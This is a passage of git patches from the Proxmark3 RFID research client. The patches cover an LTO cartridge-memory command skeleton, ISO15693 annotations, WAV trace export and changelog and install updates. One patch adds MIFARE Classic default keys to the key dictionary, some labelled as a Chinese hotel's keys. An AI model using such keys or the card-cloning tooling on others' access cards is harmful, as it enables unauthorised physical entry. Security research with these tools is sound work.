a/client/luascripts/lto_dump.lua b/client/luascripts/lto_dump.lua index 456cb2cb1..2e8510129 100644 --- a/client/luascripts/lto_dump.lua +++ b/client/luascripts/lto_dump.lua @@ -172,7 +172,7 @@ function main(args) local d0_d15 = getdata(res) payload = "80" - res, err = send(payload, {ignore_response = false, append_crc = true}) + res, err = send(payload, {ignore_response = false, append_crc = false}) if err then return end local d16_d31 = getdata(res) From 3ddf7a0ce550f7d26b0405e65eb0d4d8c11988df Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 20 Dec 2019 11:23:27 +0100 Subject: [PATCH 099/418] iso15 - add some annotation for write mulit --- client/cmdhflist.c | 3 +++ include/protocols.h | 2 ++ 2 files changed, 5 insertions(+) diff --git a/client/cmdhflist.c b/client/cmdhflist.c index 9f1d9ce23..7a46b5deb 100644 --- a/client/cmdhflist.c +++ b/client/cmdhflist.c @@ -404,6 +404,9 @@ void annotateIso15693(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { case ISO15693_READ_MULTI_BLOCK: snprintf(exp, size, "READ_MULTI_BLOCK"); return; + case ISO15693_WRITE_MULTI_BLOCK: + snprintf(exp, size, "WRITE_MULTI_BLOCK"); + return; case ISO15693_SELECT: snprintf(exp, size, "SELECT"); return; diff --git a/include/protocols.h b/include/protocols.h index 8018ae62e..691d2757e 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -56,6 +56,7 @@ ISO15693 21 = Write Block (usage: 0221+1byte block number+4bytes data+2bytes ISO15693-CRC - answer: 4bytes) 22 = Lock Block 23 = Read Multiple Blocks (usage: 0223+1byte 1st block to read+1byte last block to read+2bytes ISO15693-CRC) + 24 = Write Multiple Blocks 25 = Select 26 = Reset to Ready 27 = Write AFI @@ -243,6 +244,7 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define ISO15693_WRITEBLOCK 0x21 #define ISO15693_LOCKBLOCK 0x22 #define ISO15693_READ_MULTI_BLOCK 0x23 +#define ISO15693_WRITE_MULTI_BLOCK 0x24 #define ISO15693_SELECT 0x25 #define ISO15693_RESET_TO_READY 0x26 #define ISO15693_WRITE_AFI 0x27 From 203a70d5da548948332f733c332802fcb1065240 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 20 Dec 2019 12:39:54 +0100 Subject: [PATCH 100/418] textual --- CHANGELOG.md | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e1f3cf2c7..6fc26d884 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,20 +3,22 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Added ISO15_WRITE annotation (@pwipiw) + - Added `lto_dump.lua` @kevin - Added `hf mf cwipe` magic chinese card (gen1a) wipe to default state (@merlokk) - Added 'pm3_mf7b_wipe.py' python script. Wipes magic S70 7B Gen2 card. (@vulnersCom) - Added `hf mfp chk` Mifare plus command for check keys from public keys list, from dictionary or 1 and 2-byte bruteforce (@merlokk) - Change `hf 15` - some refactoring (@grspy) - Added `hf 15 writeafi` and `hf 15 writedsfid` (@grspy) - Added detailed info for SLIX2 tags in `hf 15 info` (@grspy) - - Fix hf list felica and hf felica sniff (@7homasSutter) - - Added hf felica wrunencrypted (@7homasSutter) - - Added hf felica rdunencrypted (@7homasSutter) - - Added hf felica rqresponse (@7homasSutter) - - Added hf felica rqservice (@7homasSutter) + - Fix `hf list felica` and `hf felica sniff` (@7homasSutter) + - Added `hf felica wrunencrypted` (@7homasSutter) + - Added `hf felica rdunencrypted` (@7homasSutter) + - Added `hf felica rqresponse` (@7homasSutter) + - Added `hf felica rqservice` (@7homasSutter) - Added polling for felica standard (@7homasSutter) - - Added lf t55xx dump save and lf t55xx restore for .bin and .eml files (@mwalker33) - - Added lf t55xx detected to try without password first (@mwalker33) + - Added `lf t55xx dump save` and `lf t55xx restore` for .bin and .eml files (@mwalker33) + - Added `lf t55xx detected` to try without password first (@mwalker33) - Chg `lf indala read` - added indala 26bit decoding (@martinbeier) - Chg `lf t55xx detect` to try without password first (@mwalker33) - Display high bit for detected Kastle HIDs to allow `lf hid clone [id]` to work properly (@swg0101) From 337a1d1dca6089efcab4bd57b3561b66469cae19 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 21 Dec 2019 18:17:03 +0100 Subject: [PATCH 101/418] more --- client/dictionaries/mfc_default_keys.dic | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index eeecff9ba..dda7a5126 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -1035,3 +1035,10 @@ bb2c0007d022 # Hotel Berlin Classic room B KEY # 0734bfb93dab 85a438f72a8a +# +# Data from forum, Chinese hotel +58ac17bf3629 +b62307b62307 +# +a2a3cca2a3cc + From 286333ca912ebc8f992236f7edce73d7e32890d9 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 22 Dec 2019 11:16:59 +0100 Subject: [PATCH 102/418] add: hf lto info - skeleton to add LTO-CM (Cartridge memort) to PM3 --- client/Makefile | 3 +- client/cmdhf.c | 12 +++ client/cmdhflto.c | 199 ++++++++++++++++++++++++++++++++++++++++++++++ client/cmdhflto.h | 20 +++++ 4 files changed, 233 insertions(+), 1 deletion(-) create mode 100644 client/cmdhflto.c create mode 100644 client/cmdhflto.h diff --git a/client/Makefile b/client/Makefile index 4babb528f..23c8359b9 100644 --- a/client/Makefile +++ b/client/Makefile @@ -22,7 +22,7 @@ vpath %.dic dictionaries OBJDIR = obj LDLIBS ?= -L/usr/local/lib -LDLIBS += -lreadline -lpthread -lm +LDLIBS += -lreadline -lsndfile -lpthread -lm # RPi Zero gcc requires -latomic # but MacOSX /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/ld @@ -204,6 +204,7 @@ CMDSRCS = crapto1/crapto1.c \ cmdhffido.c \ cmdhffelica.c \ cmdhfthinfilm.c \ + cmdhflto.c \ cmdhw.c \ cmdlf.c \ cmdlfawid.c \ diff --git a/client/cmdhf.c b/client/cmdhf.c index 06ad64317..6ef589d26 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -1,6 +1,8 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh // Merlok - 2017 +// Doegox - 2019 +// Iceman - 2019 // // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of @@ -29,6 +31,7 @@ #include "cmdhffelica.h" // ISO18092 / FeliCa #include "cmdhffido.h" // FIDO authenticators #include "cmdhfthinfilm.h" // Thinfilm +#include "cmdhflto.h" // LTO-CM #include "cmdtrace.h" // trace list #include "ui.h" @@ -88,6 +91,15 @@ int CmdHFSearch(const char *Cmd) { } } + PROMPT_CLEARLINE; + PrintAndLogEx(INPLACE, "Searching for LTO-CM tag..."); + if (IfPm3Iso14443a()) { + if (infoLTO(false) == PM3_SUCCESS) { + PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("LTO-CM tag") " found\n"); + return PM3_SUCCESS; + } + } + PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, "Searching for ISO14443-A tag..."); if (IfPm3Iso14443a()) { diff --git a/client/cmdhflto.c b/client/cmdhflto.c new file mode 100644 index 000000000..828fb0268 --- /dev/null +++ b/client/cmdhflto.c @@ -0,0 +1,199 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2019 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// LTO-CM commands +// LTO Cartridge memory +//----------------------------------------------------------------------------- +#include "cmdhflto.h" +#include +#include +#include +#include +#include "cmdparser.h" // command_t +#include "comms.h" +#include "cmdtrace.h" +#include "crc16.h" +#include "ui.h" +#include "cmdhf14a.h" +#include "protocols.h" + +static int CmdHelp(const char *Cmd); + +static int usage_lto_info(void) { + PrintAndLogEx(NORMAL, "Usage: hf lto info [h]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Examples:"); + PrintAndLogEx(NORMAL, " hf lto info"); + return PM3_SUCCESS; +} + +static void lto_switch_off_field(void) { + SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0); +} + +static void lto_switch_on_field(void) { + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_SELECT | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS, 0, 0, NULL, 0); +} + +// send a raw LTO-CM command, returns the length of the response (0 in case of error) +static int lto_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint16_t *response_len, bool verbose) { + + SendCommandOLD(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_NO_DISCONNECT | ISO14A_NO_RATS, len, 0, cmd, len); + PacketResponseNG resp; + + if (!WaitForResponseTimeout(CMD_ACK, &resp, 1500)) { + if (verbose) PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return PM3_ETIMEOUT; + } + + if (resp.oldarg[0] == *response_len) { + *response_len = resp.oldarg[0]; + + PrintAndLogEx(INFO, "%s", sprint_hex(resp.data.asBytes, *response_len)); + if (*response_len > 0) { + memcpy(response, resp.data.asBytes, *response_len); + } + } else { + if (verbose) PrintAndLogEx(WARNING, "Wrong response length (%d != %" PRIu64 ")", *response_len, resp.oldarg[0]); + return PM3_ESOFT; + } + return PM3_SUCCESS; +} + + +// select a LTO-CM tag. Send WUPA and RID. +static int topaz_select(uint8_t *id_response, uint8_t id_len, bool verbose) { + // Todo: implement anticollision + + uint8_t resp[] = {0,0}; + uint16_t resp_len; + uint8_t wupa_cmd[] = {LTO_REQ_STANDARD}; + uint8_t select_cmd[] = {LTO_SELECT, 0x20}; + uint8_t select_1_cmd[] = {LTO_SELECT_1, 0x70, 0, 0, 0, 0, 0}; + + lto_switch_on_field(); + + resp_len = 2; + int status = lto_send_cmd_raw(wupa_cmd, sizeof(wupa_cmd), resp, &resp_len, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT) { + lto_switch_off_field(); + return PM3_ESOFT; // WUPA failed + } + + resp_len = id_len; + status = lto_send_cmd_raw(select_cmd, sizeof(select_cmd), id_response, &resp_len, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT) { + lto_switch_off_field(); + return PM3_EWRONGANSVER; // SELECT failed + } + + resp_len = 1; + status = lto_send_cmd_raw(select_1_cmd, sizeof(select_1_cmd), resp, &resp_len, verbose); + if (status == PM3_ETIMEOUT || status == PM3_ESOFT || resp[0] != 0x0A) { + lto_switch_off_field(); + return PM3_EWRONGANSVER; // SELECT failed + } + + // tag is now INIT and SELECTED. + return PM3_SUCCESS; +} + + +static int CmdHfLTOInfo(const char *Cmd) { + + uint8_t cmdp = 0; + bool errors = false; + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + switch (tolower(param_getchar(Cmd, cmdp))) { + case 'h': + return usage_lto_info(); + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } + } + + //Validations + if (errors) { + usage_lto_info(); + return PM3_EINVARG; + } + + return infoLTO(true); +} + +int infoLTO(bool verbose) { + + clearCommandBuffer(); + + uint8_t serial_number[5]; + uint8_t serial_len = 0; + + topaz_select(serial_number, serial_len, verbose); + + lto_switch_off_field(); +/* + +-- "hf 14a raw -a -p -b 7 45" +-- "hf 14a raw -c -p 9320" +-- "hf 14a raw -c -p 9370%s", serial_number +-- "disconnect" + + + SendCommandNG(CMD_HF_THINFILM_READ, NULL, 0); + PacketResponseNG resp; + if (!WaitForResponseTimeout(CMD_HF_THINFILM_READ, &resp, 1500)) { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + return PM3_ETIMEOUT; + } + + if (resp.status == PM3_SUCCESS) { + if (resp.length == 16 || resp.length == 32) { + print_barcode(resp.data.asBytes, resp.length, verbose); + } else { + if (verbose) + PrintAndLogEx(WARNING, "Response is wrong length. (%d)", resp.length); + + return PM3_ESOFT; + } + } + + return resp.status; +*/ + return PM3_SUCCESS; +} + +static int CmdHfLTOList(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + CmdTraceList("14a"); +// CmdTraceList("lto"); + return PM3_SUCCESS; +} + +static command_t CommandTable[] = { + {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"info", CmdHfLTOInfo, IfPm3Iso14443a, "Tag information"}, +// {"rdbl", CmdHfLTOReadBlock, IfPm3Iso14443a, "Read block"}, +// {"wrbl", CmdHfLTOWriteBlock, IfPm3Iso14443a, "Write block"}, +// {"sim", CmdHfLTOSim, IfPm3Iso14443a, " Simulate LTO-CM tag"}, + {"list", CmdHfLTOList, AlwaysAvailable, "List LTO-CM history"}, + {NULL, NULL, NULL, NULL} +}; + +static int CmdHelp(const char *Cmd) { + (void)Cmd; // Cmd is not used so far + CmdsHelp(CommandTable); + return PM3_SUCCESS; +} + +int CmdHFLTO(const char *Cmd) { + clearCommandBuffer(); + return CmdsParse(CommandTable, Cmd); +} diff --git a/client/cmdhflto.h b/client/cmdhflto.h new file mode 100644 index 000000000..52c22da0d --- /dev/null +++ b/client/cmdhflto.h @@ -0,0 +1,20 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2019 iceman +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// LTO-CM commands +//----------------------------------------------------------------------------- + +#ifndef CMDHFLTO_H__ +#define CMDHFLTO_H__ + +#include "common.h" + +int infoLTO(bool verbose); + +int CmdHFLTO(const char *Cmd); + +#endif From a4407ae9f1912ddc142ed139933efdda44ef9415 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 22 Dec 2019 11:19:06 +0100 Subject: [PATCH 103/418] add: saving as wave format for LF traces, thanks (@anon)\n chg: 'data save f w - reword the params to command --- client/cmddata.c | 69 ++++++++++++++++++++++++++++++++++------------ client/fileutils.c | 64 ++++++++++++++++++++++++++++++++++++++++++ client/fileutils.h | 24 ++++++++++++++++ 3 files changed, 140 insertions(+), 17 deletions(-) diff --git a/client/cmddata.c b/client/cmddata.c index cb78642b2..7af5c686e 100644 --- a/client/cmddata.c +++ b/client/cmddata.c @@ -1,6 +1,8 @@ //----------------------------------------------------------------------------- // Copyright (C) 2010 iZsh // +// iceman 2019 +// // This code is licensed to you under the terms of the GNU GPL, version 2 or, // at your option, any later version. See the LICENSE.txt file for the text of // the license. @@ -32,6 +34,21 @@ int g_DemodClock = 0; static int CmdHelp(const char *Cmd); +static int usage_data_save(void) { + PrintAndLogEx(NORMAL, "Save trace from graph window , i.e. the GraphBuffer"); + PrintAndLogEx(NORMAL, "This is a text file with number -127 to 127. With the option `w` you can save it as wave file"); + PrintAndLogEx(NORMAL, "Filename should be without file extension"); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "Usage: data save [h] [w] [f ]"); + PrintAndLogEx(NORMAL, "Options:"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " w save as wave format (.wav)"); + PrintAndLogEx(NORMAL, " f save file name"); + PrintAndLogEx(NORMAL, "Samples:"); + PrintAndLogEx(NORMAL, " data save f mytrace - save graphbuffer to file"); + PrintAndLogEx(NORMAL, " data save f mytrace w - save graphbuffer to wave file"); + return PM3_SUCCESS; +} static int usage_data_scale(void) { PrintAndLogEx(NORMAL, "Set cursor display scale."); PrintAndLogEx(NORMAL, "Setting the scale makes the differential `dt` reading between the yellow and purple markers meaningful. "); @@ -40,8 +57,8 @@ static int usage_data_scale(void) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Usage: data scale [h] "); PrintAndLogEx(NORMAL, "Options:"); - PrintAndLogEx(NORMAL, " h This help"); - PrintAndLogEx(NORMAL, " Sets scale of carrier frequency expressed in kHz"); + PrintAndLogEx(NORMAL, " h this help"); + PrintAndLogEx(NORMAL, " sets scale of carrier frequency expressed in kHz"); PrintAndLogEx(NORMAL, "Samples:"); PrintAndLogEx(NORMAL, " data scale 125 - if sampled in 125kHz"); return PM3_SUCCESS; @@ -49,7 +66,7 @@ static int usage_data_scale(void) { static int usage_data_printdemodbuf(void) { PrintAndLogEx(NORMAL, "Usage: data printdemodbuffer x o l "); PrintAndLogEx(NORMAL, "Options:"); - PrintAndLogEx(NORMAL, " h This help"); + PrintAndLogEx(NORMAL, " h this help"); PrintAndLogEx(NORMAL, " i invert Demodbuffer before printing"); PrintAndLogEx(NORMAL, " x output in hex (omit for binary output)"); PrintAndLogEx(NORMAL, " o enter offset in # of bits"); @@ -1876,24 +1893,42 @@ int CmdSave(const char *Cmd) { int len = 0; char filename[FILE_PATH_SIZE] = {0x00}; + uint8_t cmdp = 0; + bool errors = false, as_wave = false, has_name = false; - len = strlen(Cmd); - if (len > FILE_PATH_SIZE) len = FILE_PATH_SIZE; - memcpy(filename, Cmd, len); - - FILE *f = fopen(filename, "w"); - if (!f) { - PrintAndLogEx(WARNING, "couldn't open '%s'", filename); - return PM3_EFILE; + while (param_getchar(Cmd, cmdp) != 0x00 && !errors) { + char ctmp = tolower(param_getchar(Cmd, cmdp)); + switch (ctmp) { + case 'h': + return usage_data_save(); + case 'f': + len = param_getstr(Cmd, cmdp + 1, filename, FILE_PATH_SIZE); + if (len < 1) { + errors = true; + break; + } + has_name = true; + cmdp += 2; + break; + case 'w': + as_wave = true; + cmdp++; + break; + default: + PrintAndLogEx(WARNING, "Unknown parameter '%c'", param_getchar(Cmd, cmdp)); + errors = true; + break; + } } - for (uint32_t i = 0; i < GraphTraceLen; i++) - fprintf(f, "%d\n", GraphBuffer[i]); + if (!has_name) errors = true; - fclose(f); + if (errors || cmdp == 0) return usage_data_save(); - PrintAndLogEx(SUCCESS, "saved to " _YELLOW_("'%s'"), Cmd); - return PM3_SUCCESS; + if ( as_wave ) + return saveFileWAVE(filename, GraphBuffer, GraphTraceLen); + else + return saveFilePM3(filename, GraphBuffer, GraphTraceLen); } static int CmdScale(const char *Cmd) { @@ -2269,7 +2304,7 @@ static command_t CommandTable[] = { {"printdemodbuffer", CmdPrintDemodBuff, AlwaysAvailable, "[x] [o] [l] -- print the data in the DemodBuffer - 'x' for hex output"}, {"rawdemod", CmdRawDemod, AlwaysAvailable, "[modulation] ... -see help (h option) -- Demodulate the data in the GraphBuffer and output binary"}, {"samples", CmdSamples, IfPm3Present, "[512 - 40000] -- Get raw samples for graph window (GraphBuffer)"}, - {"save", CmdSave, AlwaysAvailable, " -- Save trace (from graph window)"}, + {"save", CmdSave, AlwaysAvailable, "Save trace (from graph window)"}, {"setgraphmarkers", CmdSetGraphMarkers, AlwaysAvailable, "[orange_marker] [blue_marker] (in graph window)"}, {"scale", CmdScale, AlwaysAvailable, " -- Set cursor display scale in carrier frequency expressed in kHz"}, {"setdebugmode", CmdSetDebugMode, AlwaysAvailable, "<0|1|2> -- Set Debugging Level on client side"}, diff --git a/client/fileutils.c b/client/fileutils.c index 7c10fe50c..a56745148 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -41,6 +41,7 @@ #include #include +#include #include "pm3_cmd.h" #include "commonutil.h" @@ -399,6 +400,69 @@ out: return retval; } +int saveFileWAVE(const char *preferredName, int *data, size_t datalen) { + + if (data == NULL) return PM3_EINVARG; + char *fileName = newfilenamemcopy(preferredName, ".wav"); + if (fileName == NULL) return PM3_EMALLOC; + + int retval = PM3_SUCCESS; + + SF_INFO wave_info; + + // TODO update for other tag types + wave_info.samplerate = 125000; + wave_info.channels = 1; + wave_info.format = SF_FORMAT_WAV | SF_FORMAT_PCM_U8; + SNDFILE* wave_file = sf_open(fileName, SFM_WRITE, &wave_info); + + if (!wave_file) { + PrintAndLogEx(WARNING, "file not found or locked. "_YELLOW_("'%s'"), fileName); + retval = PM3_EFILE; + goto out; + } + + // unfortunately need to upconvert to 16-bit samples because libsndfile doesn't do 8-bit(?) + for (int i = 0; i < datalen; i++) { + short sample = data[i] * 256; + sf_write_short(wave_file, &sample, 1); + } + + sf_close(wave_file); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%d")" bytes to wave file " _YELLOW_("'%s'"), 2 * datalen, fileName); + +out: + free(fileName); + return retval; +} + +int saveFilePM3(const char *preferredName, int *data, size_t datalen) { + + if (data == NULL) return PM3_EINVARG; + char *fileName = newfilenamemcopy(preferredName, ".pm3"); + if (fileName == NULL) return PM3_EMALLOC; + + int retval = PM3_SUCCESS; + + FILE *f = fopen(fileName, "w"); + if (!f) { + PrintAndLogEx(WARNING, "file not found or locked. "_YELLOW_("'%s'"), fileName); + retval = PM3_EFILE; + goto out; + } + + for (uint32_t i = 0; i < datalen; i++) + fprintf(f, "%d\n", data[i]); + + fflush(f); + fclose(f); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%d")" bytes to PM3 file " _YELLOW_("'%s'"), datalen, fileName); + +out: + free(fileName); + return retval; +} + int createMfcKeyDump(uint8_t sectorsCnt, sector_t *e_sector, char *fptr) { uint8_t tmpKey[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; int i; diff --git a/client/fileutils.h b/client/fileutils.h index 523e957a7..baff10bca 100644 --- a/client/fileutils.h +++ b/client/fileutils.h @@ -112,6 +112,30 @@ int saveFileEML(const char *preferredName, uint8_t *data, size_t datalen, size_t */ int saveFileJSON(const char *preferredName, JSONFileType ftype, uint8_t *data, size_t datalen); +/** STUB + * @brief Utility function to save WAVE data to a file. This method takes a preferred name, but if that + * file already exists, it tries with another name until it finds something suitable. + * E.g. dumpdata-15.wav + * + * @param preferredName + * @param data The binary data to write to the file + * @param datalen the length of the data + * @return 0 for ok + */ +int saveFileWAVE(const char *preferredName, int *data, size_t datalen); + +/** STUB + * @brief Utility function to save PM3 data to a file. This method takes a preferred name, but if that + * file already exists, it tries with another name until it finds something suitable. + * E.g. dump_trace.pm3 + * + * @param preferredName + * @param data The binary data to write to the file + * @param datalen the length of the data + * @return 0 for ok + */ +int saveFilePM3(const char *preferredName, int *data, size_t datalen); + /** * @brief Utility function to save a keydump. * From 96d3bbc35310307b03ccfca0e8d1a21a908718ab Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 22 Dec 2019 11:20:17 +0100 Subject: [PATCH 104/418] chg: update instructions for dependecies. sudo apt-get install libsndfile1-dev --- .../Linux-Installation-Instructions.md | 2 +- .../Mac-OS-X-Homebrew-Installation-Instructions.md | 2 +- .../Windows-Installation-Instructions.md | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md index d56d1056c..08c7fe474 100644 --- a/doc/md/Installation_Instructions/Linux-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Linux-Installation-Instructions.md @@ -25,7 +25,7 @@ Install the requirements ```sh sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \ -libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev +libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libsndfile1-dev ``` If you don't need the graphical components of the Proxmark3 client, you can skip the installation of `qtbase5-dev`. diff --git a/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md b/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md index 76f5ee6f3..846383658 100644 --- a/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md @@ -82,7 +82,7 @@ These instructions will show how to setup the environment on OSX to the point wh 2. Install dependencies: ``` -brew install readline qt5 pkgconfig +brew install readline qt5 pkgconfig libsndfile brew install RfidResearchGroup/proxmark3/arm-none-eabi-gcc ``` diff --git a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md index 9d94490f5..4065e0d27 100644 --- a/doc/md/Installation_Instructions/Windows-Installation-Instructions.md +++ b/doc/md/Installation_Instructions/Windows-Installation-Instructions.md @@ -77,7 +77,7 @@ Enter WSL prompt (`wsl`) and from there, follow the [Linux Installation Instruct ```sh sudo apt-get update sudo apt-get install --no-install-recommends git ca-certificates build-essential pkg-config \ -libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev +libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libsndfile1-dev ``` If you don't need the graphical components of the Proxmark3 client, you can skip the installation of `qtbase5-dev`. From bd50760a243ac1ce3492b92d6fa9ddb7e019c4ad Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 22 Dec 2019 11:20:39 +0100 Subject: [PATCH 105/418] LTO-CM commands defines --- include/protocols.h | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/include/protocols.h b/include/protocols.h index 691d2757e..d04173557 100644 --- a/include/protocols.h +++ b/include/protocols.h @@ -593,5 +593,23 @@ ISO 7816-4 Basic interindustry commands. For command APDU's. #define HITAG2_WRITE_PAGE 0x82 // page number in bits 5 to 3, page number inverted in bit 0 and following 2 bits #define HITAG2_HALT 0x00 // left 5 bits only + +// LTO-CM commands +#define LTO_REQ_STANDARD 0x45 +#define LTO_REQ_ALL 0x4A +#define LTO_READWORD 0x40 // read 2 bytes (word) +#define LTO_READBLOCK 0x30 +#define LTO_READBLOCK_CONT 0x80 +#define LTO_SELECT 0x93 +#define LTO_SELECT_1 0x97 +#define LTO_WRITEWORD 0xB0 // write 2 bytes (word) +#define LTO_WRITEBLOCK 0xA0 +#define LTO_HALT 0x50 +#define LTO_TEST_CMD_1 0x0E +#define LTO_TEST_CMD_2 0x6C + +// 0x0A = ACK +// 0x05 = NACK + #endif // PROTOCOLS_H From 2716e2f7f429caac426301c5d56f3363b98cd7ac Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 22 Dec 2019 11:25:18 +0100 Subject: [PATCH 106/418] textual --- CHANGELOG.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6fc26d884..c4e0e9d35 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,10 +3,14 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Chg `data save f w` - params reworked. (@iceman1001) + - Chg `hf search` - now should detect LTO-CM tags (@iceman1001) + - Added `hf lto info` - skeleton support for LTO Cartridge memory (@iceman1001) + - Added saving as wave format (@anon) - Added ISO15_WRITE annotation (@pwipiw) - Added `lto_dump.lua` @kevin - Added `hf mf cwipe` magic chinese card (gen1a) wipe to default state (@merlokk) - - Added 'pm3_mf7b_wipe.py' python script. Wipes magic S70 7B Gen2 card. (@vulnersCom) + - Added `pm3_mf7b_wipe.py` python script. Wipes magic S70 7B Gen2 card. (@vulnersCom) - Added `hf mfp chk` Mifare plus command for check keys from public keys list, from dictionary or 1 and 2-byte bruteforce (@merlokk) - Change `hf 15` - some refactoring (@grspy) - Added `hf 15 writeafi` and `hf 15 writedsfid` (@grspy) From 3c93361ca33702fec75824a9506a5686df291e22 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 22 Dec 2019 11:29:06 +0100 Subject: [PATCH 107/418] adapt to libsnd.. --- .travis.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.travis.yml b/.travis.yml index c75bffe9b..1cb60f8e9 100644 --- a/.travis.yml +++ b/.travis.yml @@ -33,9 +33,11 @@ addons: packages: - gcc-arm-none-eabi - libnewlib-dev + - libsndfile1-dev homebrew: packages: - readline + - libsndfile - qt5 - RfidResearchGroup/proxmark3/arm-none-eabi-gcc taps: RfidResearchGroup/proxmark3 From 88f4de3ef9fb9f1acd0539e568265de60f7d08ba Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 22 Dec 2019 12:47:57 +0100 Subject: [PATCH 108/418] add: note of new wave format PCM8 --- doc/extensions_notes.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/doc/extensions_notes.md b/doc/extensions_notes.md index 41365849b..f42823d64 100644 --- a/doc/extensions_notes.md +++ b/doc/extensions_notes.md @@ -13,7 +13,8 @@ The Proxmark3 client uses a wide range of files. Here is a brief recap to get yo | .elf | binary proxmark3 device firmware file. | | .cmd | text file, contains proxmark3 client commands used to call client with -s | | .lua | text file, contains lua script to be run inside client. or called with -l | -| .pm3 | text file, with numbers ranging 0-255 or -127 - 128. Contains trace signal data for low frequency tags (data load) | +| .pm3 | text file, with numbers ranging 0-255 or -127 - 128. Contains trace signal data for low frequency tags (data load / data save) | +| .wav | binary file, PCM8 with samplerate 125000, one channel. (data save) | .trace | binary file, contains trace log data usually from high frequency tags. (hw trace load) | | .log | text file, our log file, contains the output from almost all commands you run inside Proxmark3 client | -| .history | text file, our command log file, contains the commands you ran inside Proxmark3 client | +| .history | text file, our command log file, contains the commands you ran inside Proxmark3 client | \ No newline at end of file From ea5680dba8414da43644cbb111bfabc70bfbbac7 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 22 Dec 2019 12:51:40 +0100 Subject: [PATCH 109/418] style --- client/Makefile | 2 +- client/cmddata.c | 10 +++--- client/cmdhflto.c | 58 